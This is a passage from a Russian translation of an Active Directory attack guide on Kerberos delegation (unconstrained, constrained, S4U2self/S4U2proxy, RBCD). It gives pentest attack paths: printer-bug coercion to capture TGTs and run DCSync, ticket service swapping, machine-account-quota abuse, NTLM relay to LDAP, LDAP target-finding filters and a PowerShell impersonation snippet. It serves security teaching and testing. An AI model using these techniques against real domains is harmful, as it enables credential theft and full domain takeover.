Но помните, что TGT включены во все ЗБ для служб учетной записи, для которой установлен флаг UserAccountControl (https://docs.microsoft.com/en-us/tr...raccountcontrol-manipulate-account-properties)TRUSTED_FOR_DELEGATION. Поэтому в предыдущем примере, где учетная запись компьютера websrv$ была владельцем службы HTTP\websrv, любой ST, запрошенный для любой другой службы websrv$, такой как, например, CIFS\websrv (для доступа к общим ресурсам SMB (https://zer1t0.gitlab.io/posts/attacking_ad/#shares)), также будет содержать клиент ТГТ.

Для идентификации учетных записей с неограниченным делегированием вы можете использовать следующий фильтр LDAP:

(UserAccountControl:1.2.840.113556.1.4.803:=524288)


Чтобы найти учетные записи с неограниченным делегированием, вы можете использовать такие инструменты, как Powerview (https://github.com/EmpireProject/Em...e/situational_awareness/network/powerview.ps1), сценарий impacket findDelegation.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/findDelegation.py), модуль Powershell ActiveDirectory (https://docs.microsoft.com/en-us/powershell/module/addsadministration/?view=win10-ps)или ldapsearch (https://linux.die.net/man/1/ldapsearch).

Таким образом, если вы скомпрометируете сервер, учетная запись которого имеет неограниченное делегирование, вы сможете собрать TGT всех клиентов, которые к нему подключаются. Вы можете использовать несколько методов фишинга, чтобы заставить пользователей подключаться к вашему серверу, например, создавать файлы, которые подключаются к вашей скомпрометированной машине для получения TGT Kerberos, аналогично методам, используемым для взлома хэшей NTLM (https://zer1t0.gitlab.io/posts/attacking_ad/#ntlm-hashes-cracking) .

Кроме того, вы можете получить TGT учетной записи компьютера, заставив его подключиться к вашему серверу с ошибкой принтера (https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory/41). Ошибка принтера использует вызов RPC https://posts.specterops.io/hunting...(delegation-forests-trusts-71f2b33688e1#a2e6) интерфейса RPRN RPC (https://zer1t0.gitlab.io/posts/attacking_ad/#rpc-over-smb), который позволяет любым аутентифицированным пользователям (https://docs.microsoft.com/en-us/tr...rver/identity/security-identifiers-in-windows) указать целевому компьютеру сервер для подключения через SMB.

Чтобы вызвать ошибку принтера, вы можете использовать инструмент SpoolSample (https://github.com/leechristensen/SpoolSample) или скрипт printerbug.py ( https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py). Вы должны передать имя хоста в качестве аргумента, чтобы целевая машина могла использовать Kerberos. Если вы предоставите IP-адрес, то для аутентификации будет использоваться NTLM, и делегирование выполняться не будет. Кроме того, вы можете сканировать компьютеры, на которых включена служба спулинга (по умолчанию она включена), с помощью скрипта SpoolerScan.ps1( https://github.com/vletoux/SpoolerScanner) .

Кроме того, для отслеживания появления TGT вы можете использовать команду монитора Rubeus (https://github.com/GhostPack/Rubeus#monitor) .

Кроме того, также можно восстановить TGT, не касаясь скомпрометированных серверов.( https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/)

Для этого нам нужно изменить SPN учетной записи неограниченного делегирования, которую мы скомпрометировали. Плохая новость заключается в том, что для этого нам нужно разрешение Validated-SPN (https://docs.microsoft.com/en-gb/windows/win32/adschema/r-validated-spn) , которое по умолчанию не предоставляется собственной учетной записи. Однако в случае учетных записей компьютеров они могут добавлять имена SPN по умолчанию, соответствующие их именам хостов (https://docs.microsoft.com/en-us/op...0b-4666-9175-a37ccb8edada?redirectedfrom=MSDN), которые, к счастью, включают имена хостов, добавленные в msDS-AdditionalDnsHostName (https://docs.microsoft.com/en-us/op.../ms-ada2/f59801d8-7b65-495c-b853-fc9e47e606f4), которые могут быть изменены самой учетной записью. Затем мы можем добавить в качестве нового имени хоста имя хоста нашей машины и создать таким образом имена участников-служб, которые указывают на нашу машину. Мы можем сделать это с помощью addspn.py (https://github.com/dirkjanm/krbrelayx/blob/master/addspn.py). Также мы можем добавить SPN с помощью утилиты setspn (https://docs.microsoft.com/en-us/pr...ows-server-2012-r2-and-2012/cc731241(v=ws.11)) .

Чтобы имя хоста указывало на нашу машину, мы можем создать пользовательскую запись ADIDNS (https://blog.netspi.com/exploiting-adidns/) с помощью Powermad (https://github.com/Kevin-Robertson/Powermad) или dnstool.py (https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py).

Затем мы можем использовать баг принтера или методы фишинга, чтобы заставить пользователей аутентифицироваться на нашем сервере. Наконец, чтобы вспомнить TGT, мы можем использовать krbrelayx (https://github.com/dirkjanm/krbrelayx).

Очень интересным случаем, позволяющим скомпрометировать домен, является выполнение ошибки принтера (https://www.ired.team/offensive-sec...e-via-dc-print-server-and-kerberos-delegation) на контроллере домена, чтобы заставить его подключиться к нашему скомпрометированному серверу. Таким образом, вы можете получить TGT для учетной записи DC и использовать его для запуска атаки DCSync (https://adsecurity.org/?p=1729) .

Неограниченное делегирование Kerberos между лесами

На самом деле, этот метод также можно использовать для двунаправленных доверительных отношений между лесами (https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/) , в которых включено делегирование TGT, чтобы скомпрометировать другой лес. Обычно делегирование TGT было включено по умолчанию, но Microsoft (https://support.microsoft.com/en-us...tion-across-incoming-trusts-in-windows-server) выпустила исправление, которое отключает делегирование TGT по умолчанию.

В следующей последовательности описаны сообщения Kerberos, участвующие в атаке с ошибкой принтера между доменами в случае включения делегирования TGT. Злоумышленник отправляет вызов RPC от barsrv к foosrv, чтобы указать этому последнему подключиться к udbarsrv, который имеет неограниченное делегирование.

После этого TGT foosrv$ (пользователь домена foosrv) может быть получен в udbarsrv.

Шаги следующие:

1654419142061.png


1. barsrv (домен bar.com) отправляет TGS-REQ в KDC bar.com с запросом ST для службы SMB (cifs) foosrv (поскольку ошибка принтера использует RPC через SMB (https://zer1t0.gitlab.io/posts/attacking_ad/#rpc-over-smb)).

2. KDC bar.com проверяет, находится ли запрошенная служба в доверительном домене foo.com, и выдает TGT для barsrv$ для этого домена.

3. Затем barsrv использует свой TGT для foo.com, чтобы запросить у KDC foo.com ST для службы cifs/foosrv.

4. Затем KDC foo.com возвращает ST для barsrv$ для cifs/foosrv.

5. Затем barsrv проходит аутентификацию с помощью foosrv и выполняет вызов ошибки принтера, RpcRemoteFindFirstPrinterChangeNotification (https://docs.microsoft.com/en-us/op.../ms-rprn/b8b414d9-f1cd-4191-bb6b-87d09ab2fd83), указывая foosrv (домена foo.com) подключиться к серверу udbarsrv (домена bar.com) с помощью SMB (https://zer1t0.gitlab.io/posts/attacking_ad/#rpc-over-smb) .

6. foosrv запрашивает у KDC foo.com ST для службы SMB udbarsrv (cifs/udbarsrv).

7. KDC foo.com проверяет, находится ли запрошенная служба в доверенном домене bar.com, и выдает TGT для foosrv$ для этого домена. Этот TGT включает флаг OK-AS-DELEGATE, который указывает, что делегирование TGT включено для bar.com от foo.com.

8. Затем foosrv использует новый TGT, чтобы запросить у KDC bar.com ST для cifs/udbarsrv.

9. KDC bar.com возвращает ST для foosrv$ для cifs/udbarsrv. Для этого ЗБ установлен флаг OK-AS-DELEGATE, указывающий, что службы используют неограниченное делегирование.

10. Таким образом, foosrv проверяет, что cifs/udbarsrv использует делегирование, а делегирование bar.com разрешено, поэтому запрашивает у KDC foo.com перенаправленный TGT.

11. KDC foo.com возвращает TGT для пользователя foosrv$ на сервер foosrv.

12. Наконец, foosrv подключается к udbarsrv и аутентифицируется, включая собственный TGT. Теперь злоумышленник на этой машине может вспомнить TGT и использовать его для доступа к foosrv.

В этом примере barsrv и udbarsrv являются разными серверами, чтобы показать, что они могут быть разными машинами, но ошибка принтера также может использоваться для указания на повторное подключение к той же машине, которая выполняет вызов RPC. Кроме того, KDC также могут быть серверами, которые выполняют или получают вызов ошибки принтера. В этом примере использовалось много разных машин для представления различных сообщений и ролей Kerberos в атаке.

В связи с этим важно знать, что в контроллерах домена (KDC) разрешено неограниченное делегирование, поэтому компрометация доменного контроллера домена может привести к компрометации других лесов с двунаправленными доверительными отношениями, в которых включено делегирование TGT.

Ограниченное делегирование Kerberos

Как мы видели, неограниченное делегирование может быть опасным, поскольку оно позволяет полностью олицетворять клиента. Таким образом, чтобы создать более ограничительный механизм делегирования, Microsoft разработала два расширения Kerberos, известные как Service for User (https://docs.microsoft.com/en-us/op...s/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94) (S4U):

- Сервис для пользователя на прокси (S4U2proxy)

- Сервис для пользователя к себе (S4U2self)

Используя эти расширения, службы могут быть ограничены выполнением делегирования только в отношении набора разрешенных сторонних служб, и не требуется пользовательский TGT, что предотвращает его сохранение на сервере службы. Это известно как ограниченное делегирование.

S4U2прокси

Расширение S4U2proxy (Service for User to Proxy) позволяет службе запрашивать у ST другую службу от имени клиента, используя клиентское ST, отправленное службе, вместо клиентского TGT.

Более того, в отличие от неограниченного делегирования, служба может запрашивать олицетворяющую ST только для определенных служб из белого списка. Разрешенные службы определяются следующими атрибутами:

- Атрибут msDS-AllowedToDelegateTo (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/86261ca1-154c-41fb-8e5f-c6446e77daaa) учетной записи пользователя службы содержит список SPN (служб), для которых он (и его службы) может запрашивать ST от имени клиента. Этот список сервисов используется в классическом ограниченном делегировании. Чтобы изменить msDS-AllowedToDelegateTo, требуется SeEnableDelegationPrivilege (https://www.harmj0y.net/blog/active...-user-right-you-probably-have-never-heard-of/) .

- Учетная запись пользователя службы указана в атрибуте msDS-AllowedToActOnBehalfOfOtherIdentity ( https://docs.microsoft.com/en-us/op.../ms-ada2/cea4ac11-a4b2-4f2d-84cc-aebb4a4ad405) целевой учетной записи пользователя службы. Этот список пользователей используется в ограниченном делегировании на основе ресурсов (RBCD).

Следующие команды (созданные с помощью модуля ActiveDirectory Powershell (https://docs.microsoft.com/en-us/powershell/module/addsadministration/?view=win10-ps)) показывают примеры этих атрибутов:

PS C:\Users\Administrator> get-aduser anakin -Properties msDS-AllowedToDelegateTo

DistinguishedName : CN=Anakin,CN=Users,DC=contoso,DC=local
msDS-AllowedToDelegateTo : {HTTP/webserver, HTTP/webserver.contoso.local}
SamAccountName : anakin
SID : S-1-5-21-1372086773-2238746523-2939299801-1103
UserPrincipalName : anakin@contoso.local


Здесь службам пользователя Anakin разрешено выполнять делегирование службы HTTP/веб-сервер. Таким образом, Anakin может выдавать себя за любого пользователя (кроме защищенных (https://zer1t0.gitlab.io/posts/attacking_ad/#kerberos-anti-delegation-measures)) против HTTP/веб-сервера.

1654419201508.png


Более того, поскольку можно изменить целевую службу билета, Anakin мог запросить билет (https://www.secureauth.com/blog/kerberos-delegation-spns-and-more/) для HTTP/веб-сервера от имени клиента и изменить целевую службу на любую службу владельца HTTP/веб-сервера, поскольку все эти службы ST будут зашифрованы одним и тем же ключом Kerberos (https://zer1t0.gitlab.io/posts/attacking_ad/#kerberos-keys) .

Например, если пользователем HTTP/веб-сервер является webserver$ (учетная запись пользователя компьютера веб-сервера), то Anakin может запросить билет для HTTP/веб-сервер от имени клиента и использовать этот билет для доступа к службу SMB веб-сервера, изменив целевую службу на cifs/webserver. Таким образом, Anakin может получить доступ к веб-серверу, выдавая себя за клиента.

PS C:\Users\Administrator> get-aduser han -Properties PrincipalsAllowedToDelegateToAccount,msDS-AllowedToActOnBehalfOfOtherIdentity


DistinguishedName : CN=Han,CN=Users,DC=contoso,DC=local
Enabled : True
GivenName : Han
msDS-AllowedToActOnBehalfOfOtherIdentity : System.DirectoryServices.ActiveDirectorySecurity
Name : Han
ObjectClass : user
ObjectGUID : 356a7fb7-6cc0-4e09-a77f-b64e1677f2a8
PrincipalsAllowedToDelegateToAccount : {CN=Anakin,CN=Users,DC=contoso,DC=local}
SamAccountName : han
SID : S-1-5-21-1372086773-2238746523-2939299801-1109
Surname :
UserPrincipalName : han@contoso.local


Поскольку значение msDS-AllowedToActOnBehalfOfOtherIdentity является дескриптором безопасности (https://zer1t0.gitlab.io/posts/attacking_ad/#security-descriptor) в двоичном формате (https://www.gabescode.com/active-directory/2019/07/25/nt-security-descriptors.html) , необходимо запросить свойство PrincipalsAllowedToDelegateToAccount, которое выводит эти данные в удобном для человека формате.

С другой стороны, проверив msDS-AllowedToActOnBehalfOfOtherIdentity пользователя Han, мы обнаружим, что он позволяет пользователю Anakin выполнять делегирование всех своих служб.

Следовательно, Anakin может выдавать себя за любого пользователя (кроме защищенных (https://zer1t0.gitlab.io/posts/attacking_ad/#kerberos-anti-delegation-measures)) против любого сервиса пользователя Хан.

1654419223255.png


Кроме того, KDC также проверяет другие параметры, чтобы определить результат запроса S4U2proxy. Также учитывается, является ли клиент ST FORWARDABLE и защищен ли клиент от делегирования (https://zer1t0.gitlab.io/posts/attacking_ad/#kerberos-anti-delegation-measures). Вы можете проверить правила в спецификации MS-SFU (https://docs.microsoft.com/en-us/op...s/ms-sfu/c6f6f8b3-1209-487b-881d-d0908a413bb7). Вкратце, правила следующие:

1. Если недействительная подпись билета (https://zer1t0.gitlab.io/posts/attacking_ad/#pass-the-ticket) в PAC клиента ST => вернуть ошибку KRB-AP-ERR-MODIFIED.

2. Если клиент ST не является FORWARDABLE и клиент защищен => вернуть ошибку KRB-ERR-BADOPTION - STATUS-ACCOUNT-RESTRICTED.

3.Если клиент ST не FORWARDABLE и target_service в ms-AllowedToDelegateTo => возвращает ошибку KRB-ERR-BADOPTION - STATUS-ACCOUNT-RESTRICTED. (Эта была обнаружена путем экспериментов)

4.Если клиент ST FORWARDABLE и target_service в ms-AllowedToDelegateTo => возвращает S4U2proxy ST.

5. Если сервисный пользователь в target_service пользователя msDS-AllowedToActOnBehalfOfOtherIdentity => вернуть S4U2proxy ST.

Следует отметить одну любопытную вещь: можно получить S4U2proxy ST от клиента ST (https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#serendipity), не поддерживающего FORWARDABLE, с помощью ограниченного делегирования на основе ресурсов (msDS-AllowedToActOnBehalfOfOtherIdentity). За исключением случая, когда целевая служба также указана в ms-AllowedToDelegateTo (правило 3), где будет возвращена ошибка.

Кроме того, до реализации проверки подписи PAC-тикета пользователь службы мог модифицировать клиентский ST (поскольку он был зашифрован с помощью своего ключа Kerberos) и сделать его ПЕРЕДАВАЕМЫМ. Однако Microsoft представила эту подпись билета в PAC (подписанную ключом KDC), чтобы убедиться, что ST не был подделан.

Более того, вы можете заметить, что S4U2proxy возвращает тикеты, которые можно пересылать. (Даже если спецификация была обновлена с тех пор, как Элад Шамир указал на этот факт, кажется, что это все еще правильно, по крайней мере, из моих экспериментов.)

Давайте теперь рассмотрим пример процесса S4U2proxy:

1654419248079.png


1. Клиент аутентифицируется в службе веб-сервера (http/websrv), отправляя ST.

2. Позднее, когда веб-серверу (http/websrv) потребуется доступ к службе базы данных (MSSQLSvc/dbsrv) от имени клиента, он запрашивает ST для MSSQLSvc/dbsrv, используя клиентский ST и собственный TGT. .

3. KDC проверяет, разрешено ли пользователю службы websrv$ запрашивать билеты делегирования для MSSQLSvc/dbsrv, следуя ранее обсуждавшимся правилам, и возвращает ST клиента для MSSQLSvc/dbsrv. Подводя итог, обычно должно выполняться одно из этих условий:

--- MSSQLSvc/dbsrv включен в атрибут msDS-AllowedToDelegateTo для websrv$ (пользователь службы веб-сервера). Это классическое ограниченное делегирование.

---websrv$ включен в атрибут msDS-AllowedToActOnBehalfOfOtherIdentity dbsrv$ (пользователь службы MSSQLSvc/dbsrv). Это ограниченное делегирование на основе ресурсов.

4. Веб-служба использует недавно приобретенный ST для аутентификации себя в базе данных, выдавая себя за клиента.

Кроме того, также возможно использовать S4U2proxy между доменами, однако в этом случае можно использовать только ограниченное делегирование на основе ресурсов.

1654419273130.png


1. Мы предполагаем, что клиент уже отправляет свой ЗП службе websrv. Затем websrv необходимо получить доступ к службе базы данных MSSQLSvc/dbsrv от имени пользователя.

2. websrv запрашивает ЗП для MSSQLSvc/dbsrv от имени клиента, включая его собственный ЗП.

3. KDC проверяет запрос и определяет, что запрошенная служба находится в bar.com, поэтому он возвращает специальный межобластной TGT для запроса S4U2proxy в KDC bar.com.

4. websrv проверяет ответ и обнаруживает этот специальный межобластной TGT для S4U2proxy. Но ему также нужен нормальный TGT между областями для bar.com, поэтому он запрашивает его для KDC.

5. KDC возвращает межобластной TGT на bar.com за websrv$.

6.Затем websrv$ использует эти межобластные TGT, чтобы запросить у KDC bar.com ST для MSSQLSvc/dbsrv от имени клиента.

7. KDC проверяет запросы и определяет, что websrv$ разрешено делегировать службе MSSQLSvc/dbsrv (используя RBCD), поэтому выдает ST для MSSQLSvc/dbsrv.

8. websrv использует этот новый ST для доступа к службе MSSQLSvc/dbsrv от имени клиента.

S4U2self

Расширение Kerberos S4U2self позволяет службе запрашивать билет от имени пользователя для себя, который затем можно использовать в S4U2proxy. Это сделано для того, чтобы разрешить делегирование Kerberos для тех клиентов, которые не поддерживают протокол Kerberos. Это также известно как переход протокола.

Чтобы иметь возможность использовать S4U2self, KDC проверяет флаг UserAccountControl (https://docs.microsoft.com/en-us/tr...raccountcontrol-manipulate-account-properties) TRUSTED_TO_AUTH_FOR_DELEGATION учетной записи пользователя службы. Чтобы изменить этот флаг, требуется SeEnableDelegationPrivilege (https://www.harmj0y.net/blog/active...-user-right-you-probably-have-never-heard-of/) .

Кроме того, KDC также проверяет наличие у пользователя службы каких-либо служб и значение атрибута msDS-AllowedToDelegateTo (https://docs.microsoft.com/en-us/op.../ms-ada2/86261ca1-154c-41fb-8e5f-c6446e77daaa). Конкретные правила можно увидеть в спецификации MS-SFU (https://docs.microsoft.com/en-us/op...s/ms-sfu/c98bade9-cad1-4745-bd4d-d13926103022), но вот сводка проверок, выполняемых KDC при получении запроса S4U2self:

1. Если у пользователя службы нет никаких служб => вернуть ошибку KDC-ERR-S-PRINCIPAL-UNKNOWN.

2.Если клиент защищен от делегирования (https://zer1t0.gitlab.io/posts/attacking_ad/#kerberos-anti-delegation-measures) => вернуть непересылаемый ST.

3. Если флаг TRUSTED_TO_AUTH_FOR_DELEGATION пользователя службы установлен => вернуть FORWARDABLE ST.

4. Если флаг TRUSTED_TO_AUTH_FOR_DELEGATION пользователя службы не установлен и у пользователя службы есть службы в ms-AllowedToDelegateTo => вернуть не-FORWARDABLE ST. (Этот ST по-прежнему можно использовать для S4U2proxy с ограниченным делегированием на основе ресурсов (https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#serendipity))

5. Если флаг TRUSTED_TO_AUTH_FOR_DELEGATION пользователя сервиса не установлен и ms-AllowedToDelegateTo пользователя сервиса пуст => вернуть FORWARDABLE ST.

Давайте рассмотрим пример:

1654419298918.png


1. Клиент проходит проверку подлинности в службе HTTP/websrv с использованием NTLM (или любого другого протокола проверки подлинности), поскольку он не поддерживает Kerberos.

2. Websrv запрашивает S4U2self ST для клиента, отправляя TGS-REQ в KDC.

3. KDC проверяет запросы, флаг websrv$ TRUSTED_TO_AUTH_FOR_DELEGATION и защищен ли клиент от делегирования. Если все правильно, KDC возвращает HTTP/websrv ST для клиента, который может или не может быть FORWARDABLE в зависимости от упомянутых переменных.

Более того, S4U2Self можно использовать в разных доменах. Давайте посмотрим, как это работает:

1654419309554.png


1. Клиент аутентифицируется в службе HTTP/websrv с использованием NTLM (или любого другого протокола аутентификации), поскольку он не поддерживает Kerberos.

2. websrv определяет, что областью клиента является bar, поэтому он отправляет TGS-REQ с запросом TGT для домена bar.

3. KDC возвращает межобластной TGT для бара в websrv.

4. websrv использует свой новый межобластной TGT, чтобы запросить блокировку KDC для HTTP/websrv ST для клиента.

5. Панель KDC определяет, что служба HTTP/websrv находится в домене foo, поэтому она не может выдать ST для службы HTTP/websrv, но возвращает реферальный TGT для домена foo, который указывает, что HTTP/websrv ST для клиента был запрошен.

6. Затем websrv использует этот реферальный TGT, выданный bar KDC, чтобы запросить ST для клиента в foo KDC.

7. KDC foo проверяет запрос и реферальный TGT и определяет, что HTTP/websrv ST для клиента может быть выдан.

S4U2self и S4U2proxy

Теперь, когда мы знаем, как работают S4U2self и S4U2proxy, давайте рассмотрим их совместное использование на примере.

1654419324294.png


1. Websrv запрашивает HTTP/websrv ST для пользователя-администратора в KDC с помощью S4U2self через TGS-REQ.

2. KDC проверяет запросы, флаг websrv$ TRUSTED_TO_AUTH_FOR_DELEGATION и защищен ли администратор от делегирования. Если все правильно, KDC возвращает HTTP/websrv ST для клиента, который может или не может быть FORWARDABLE в зависимости от переменных, упомянутых в S4U2Self (https://zer1t0.gitlab.io/posts/attacking_ad/#s4u2self) .

3. Затем websrv запрашивает ST MSSQLSvc/dbsrv от имени администратора, используя ST S4U2self и свой собственный TGT.

4. KDC проверяет, разрешено ли пользователю службы websrv$ запрашивать билеты делегирования для MSSQLSvc/dbsrv в соответствии с правилами, указанными в S4U2Proxy (https://zer1t0.gitlab.io/posts/attacking_ad/#s4u2proxy) . Затем он возвращает MSSQLSvc/dbsrv ST для администратора.

5.websrv использует MSSQLSvc/dbsrv ST для аутентификации в базе данных, выдавая себя за администратора.

Поэтому, как мы видим, можно связать S4U2self и S4U2proxy, чтобы вы могли олицетворять любого пользователя (кроме тех, которые защищены от делегирования (https://zer1t0.gitlab.io/posts/attacking_ad/#kerberos-anti-delegation-measures)) для всех тех служб, которым пользователю службы разрешено выполнять ограниченное делегирование.

И, конечно же, можно использовать S4U2self и S4U2proxy между доменами (https://exploit.ph/crossing-trusts-4-delegation.html).

Атаки S4U

Давайте посмотрим, как можно злоупотреблять расширениями Constrained Delegation и S4U в пентесте.

Чтобы найти учетные записи, использующие ограниченное делегирование, необходимо найти учетную запись с включенным UserAccountControl TRUSTED_TO_AUTH_FOR_DELEGATION (S4U2self/переход протокола) или со значениями атрибутов msDS-AllowedToDelegateTo (классическое ограниченное делегирование) или msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD). Вот фильтр LDAP, который вы можете использовать для поиска учетных записей ограниченного делегирования:

(|
(UserAccountControl:1.2.840.113556.1.4.803:=16777216)
(msDS-AllowedToDelegateTo=*)
(msDS-AllowedToActOnBehalfOfOtherIdentity=*)
)


Чтобы найти учетные записи, связанные с ограниченным делегированием, вы можете использовать такие инструменты, как Powerview (https://github.com/EmpireProject/Em...e/situational_awareness/network/powerview.ps1), сценарий impacket findDelegation.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/findDelegation.py), модуль Powershell ActiveDirectory (https://docs.microsoft.com/en-us/powershell/module/addsadministration/?view=win10-ps) или ldapsearch (https://linux.die.net/man/1/ldapsearch) .

(|
(memberof:1.2.840.113556.1.4.1941:=CN=Protected Users,CN=Users,DC=<domain>,DC=<dom>)
(userAccountControl:1.2.840.113556.1.4.803:=1048576)
)


После того, как вы нашли учетные записи и хотите выполнить некоторые связанные операции Kerberos, существует множество инструментов, которые позволяют выполнять запросы билетов через расширения S4U и получать ST для произвольных пользователей, чтобы они выдавали себя за них. Вы можете использовать утилиты MIT kerberos ( https://labs.f-secure.com/archive/trust-years-to-earn-seconds-to-break/#:~:text=Practical%20Exploitation) (ktutitl (https://web.mit.edu/kerberos/krb5-1.12/doc/admin/admin_commands/ktutil.html), kinit (https://web.mit.edu/kerberos/krb5-devel/doc/user/user_commands/kinit.html), kvno (https://web.mit.edu/kerberos/krb5-devel/doc/user/user_commands/kvno.html)), Rubeus (https://github.com/GhostPack/Rubeus#s4u) , сценарий impacket getST.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/getST.py) или cerbero(https://gitlab.com/Zer1t0/cerbero/) .

Кроме того, в случае выполнения команд от учетной записи SYSTEM на компьютере с ограниченным делегированием (следовательно, в контексте учетной записи компьютера в Active Directory) можно использовать S4U2self и S4U2proxy с небольшим количеством кода Powershell (https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/#:~:text=Scenario%202):

# Code made by Lee Christensen (@tifkin_) and Will Schroeder (@harmj0y)
# Source: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/

# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx

# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')

# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('Administrator@FOO.LOCAL')

# actually impersonate the next context
$Context = $Ident.Impersonate()

# implicitly invoke S4U2Proxy with the specified action
ls \\DC01.FOO.LOCAL\C$

# undo the impersonation context
$Context.Undo()


Преимущество ограниченного делегирования заключается в том, что во многих случаях (включено RBCD или TrustedToAuthForDelegation) вы можете олицетворять пользователей без какого-либо взаимодействия. Однако, поскольку количество сервисов, к которым вы можете получить доступ, ограничено, вы должны знать о тех разумных сервисах, которые могут быть полезны при делегировании:

LDAP контроллера домена

Служба LDAP( https://zer1t0.gitlab.io/posts/attacking_ad/#ldap) Active Directory используется для управления учетными записями, включая ее разрешения, поэтому, если вы можете выдавать себя за администратора в отношении службы LDAP, вы можете предоставить любые привилегии любой учетной записи пользователя, которой вы управляете. Примером может служить предоставление прав произвольному для выполнения атаки DCSync (https://adsecurity.org/?p=1729) и компрометации домена.

SMB любого компьютера

В случае, если вам разрешено выдавать себя за любого пользователя в службе SMB (cifs в SPN) компьютера, вы можете получить доступ ко всем файлам на компьютере, выполнять команды с помощью таких инструментов, как psexec (https://docs.microsoft.com/en-us/sysinternals/downloads/psexec), и выполнять другие действия через вызовы RPC.

Службы MSSQL

Помимо содержания конфиденциальных данных, которые могут быть важным флагом для получения в пентесте, серверы MSSQL (https://zer1t0.gitlab.io/posts/attacking_ad/#sql-server) также могут позволять пользователям выполнять команды с помощью команды xp_cmdshell (https://docs.microsoft.com/en-us/sq...p-cmdshell-transact-sql?view=sql-server-ver15), злоупотреблять ретрансляцией NTLM, выполняя HTTP-запросы через xp_dirtree к серверу WebDAV (https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#case-study-1-mssql-rcelpe) и многие другие параметры (https://github.com/NetSPI/PowerUpSQL) .

Сервис krbtgt

Если учетной записи разрешено делегировать службу krbtgt, она может запросить у TGT (https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#unconstrained-domain-persistence) любую учетную запись, которую ей разрешено олицетворять.

И помните, что даже если вам разрешено делегировать не напрямую в одну из этих служб через Классическое ограниченное делегирование (атрибут ms-AllowedToDelegateTo), а в одну службу того же пользователя, вы можете изменить целевую службу в тикете (https://www.secureauth.com/blog/kerberos-delegation-spns-and-more/) . Например, если вам разрешено делегировать службу HTTP компьютера, например, HTTP/websrv, вы можете изменить целевую службу на CIFS/websrv для доступа к компьютеру (если служба HTTP выполняется в контексте компьютера). Кроме того, если вы можете делегировать какую-либо службу контроллера домена, вы, вероятно, можете изменить службу билетов, чтобы использовать ее для доступа к службе LDAP.

Чтобы олицетворять пользователя для службы, вам потребуется ограниченное делегирование на основе ресурсов (RBCD) или классическое ограниченное делегирование с переходом протокола (S4U2self).

Вы можете включить RBCD для учетной записи, разрешив запись в ее атрибуте ms-AllowedToActOnBehalfOfOtherIdentity и указание на учетную запись, которая имеет хотя бы одну службу (для использования S4U2self).

Если у вас нет учетной записи с хотя бы одной службой, вы можете создать одну учетную запись компьютера, злоупотребив квотой компьютеров (https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#generic-dacl-abuse), которая позволяет пользователям по умолчанию создавать до 10 учетных записей компьютеров в домене. Это можно сделать с помощью Powermad (https://github.com/Kevin-Robertson/Powermad#machineaccountquota-functions) или impacket addcomputer.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py). После создания учетной записи компьютера (пользователь может выбрать пароль учетной записи компьютера) создавший ее пользователь может назначать ей службы. Таким образом, вы можете получить учетную запись с услугами.

Более того, учетные записи по умолчанию имеют разрешения на редактирование собственного атрибута ms-AllowedToActOnBehalfOfOtherIdentity. Поэтому, если вы можете получить учетные данные (например, хэш NT, ключи Kerberos или TGT (https://shenaniganslabs.io/2019/01/...s-align-unconstrained-delegation-leads-to-rce)) учетной записи компьютера, вы можете включить RBCD для произвольного пользователя на этом компьютере. Таким образом, вы можете использовать RBCD, чтобы выдать себя за администратора в службе CIFS (SMB) компьютера и поставить компьютер под угрозу.

На самом деле, поскольку у вас есть учетные данные учетной записи компьютера, вы можете включить RBCD для себя (отражающий RBCD). Таким образом, вам просто нужно использовать S4U2self (https://shenaniganslabs.io/2019/01/...lective-resource-based-constrained-delegation) , чтобы запросить билет для службы CIFS компьютера, чтобы получить ST для компрометации хоста. Это работает даже для олицетворения защищенных учетных записей пользователей. Если вам интересно, этот метод необходим, поскольку учетные записи компьютеров домена по умолчанию не имеют разрешений на удаленный доступ к самому компьютеру в качестве администратора.

1654419384929.png


Несмотря на это, получить учетные данные компьютера перед компрометацией машины может быть сложно (может быть, с неограниченным делегированием (https://shenaniganslabs.io/2019/01/...s-align-unconstrained-delegation-leads-to-rce), но в случае, если вы можете заставить компьютер сделать HTTP-запрос с аутентификацией NTLM к хосту, которым вы управляете, вы можете использовать перекрестный NTLM ретрансляционная атака (https://zer1t0.gitlab.io/posts/attacking_ad/#ntlm-relay) с HTTP на LDAP, чтобы включить RBCD для учетной записи компьютера на учетную запись, которой вы управляете.

Для использования этого примитива вы можете воспользоваться клиентом WebDAV (https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#viable-ntlm-relay-primitives-for-rcelpe), установленным по умолчанию на рабочих столах Windows. Например, вы можете инициировать аутентифицированный HTTP-запрос, используя процедуру xp_dirtree базы данных MSSQL (https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#case-study-1-mssql-rcelpe) (для этого вы можете использовать bad_sequel.py (https://gist.github.com/3xocyte/0dc0bd4cb48cc7b4075bdc90a1ccc7d3)).

